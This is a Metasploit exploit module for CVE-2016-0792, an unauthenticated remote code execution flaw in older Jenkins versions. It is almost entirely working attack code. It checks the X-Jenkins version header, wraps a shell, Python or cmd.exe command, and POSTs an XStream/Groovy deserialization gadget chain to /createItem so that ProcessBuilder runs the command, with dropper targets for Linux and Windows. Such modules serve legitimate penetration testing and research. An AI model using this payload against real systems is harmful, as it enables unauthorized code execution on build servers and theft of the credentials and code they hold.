Jenkins XStream Groovy classpath Deserialization

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins XStream Groovy classpath Deserialization Vulnerability',
      'Description'    => %q{
        This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions
        older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath,
        which allows remote arbitrary code execution. The issue affects default installations. Authentication
        is not required to exploit the vulnerability.
      },
      'Author'         =>
          [
            'Arshan Dabirsiaghi', 			# Vulnerability discovery
            'Matt Byrne <attackdebris[at]gmail.com>'    # Metasploit module
          ],
      'DisclosureDate' => 'Feb 24 2016',
      'License'        => MSF_LICENSE,
      'References'     =>
          [
            ['CVE', '2016-0792'],
            ['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'],
            ['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413']
          ],
        'Platform'  => %w{ win linux unix },
        'Arch'           => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
        'Targets'        => [
        ['Unix (In-Memory)',
          'Platform'   => 'unix',
          'Arch'       => ARCH_CMD
        ],
        ['Python (In-Memory)',
          'Platform'   => 'python',
          'Arch'       => ARCH_PYTHON
        ],
        ['Linux (Dropper)',
          'Platform'   => 'linux',
          'Arch'       => [ARCH_X86, ARCH_X64]
        ],
        ['Windows (Dropper)',
          'Platform'   => 'win',
          'Arch'       => [ARCH_X86, ARCH_X64]
        ]
      ],
      'DefaultTarget' => 0
    ))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']),
      Opt::RPORT('8080')
    ])
    deregister_options('URIPATH')
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      fail_with(Failure::Unknown, 'The connection timed out.')
    end

    http_headers = res.headers

    if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    case target.name
    when /Unix/, /Python/
      execute_command(payload.encoded)
    else
      execute_cmdstager
    end
  end

  # Exploit methods

  def execute_command(cmd, opts = {})
    cmd = case target.name
    when /Unix/, /Linux/
      %W{/bin/sh -c #{cmd}}
    when /Python/
      %W{python -c #{cmd}}
    when /Windows/
      %W{cmd.exe /c #{cmd}}
    end

    # Encode each command argument with XML entities
    cmd.map! { |arg| arg.encode(xml: :text) }

    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, '/createItem'),
      'vars_get' => { 'name' => 'random' },
      'ctype'    => 'application/xml',
      'data'     => xstream_payload(cmd)
    )
  end

  def xstream_payload(cmd)
    <<EOF
<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando"/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>#{cmd.join('</string><string>')}</string>
              </command>
            </owner>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>
EOF
  end
end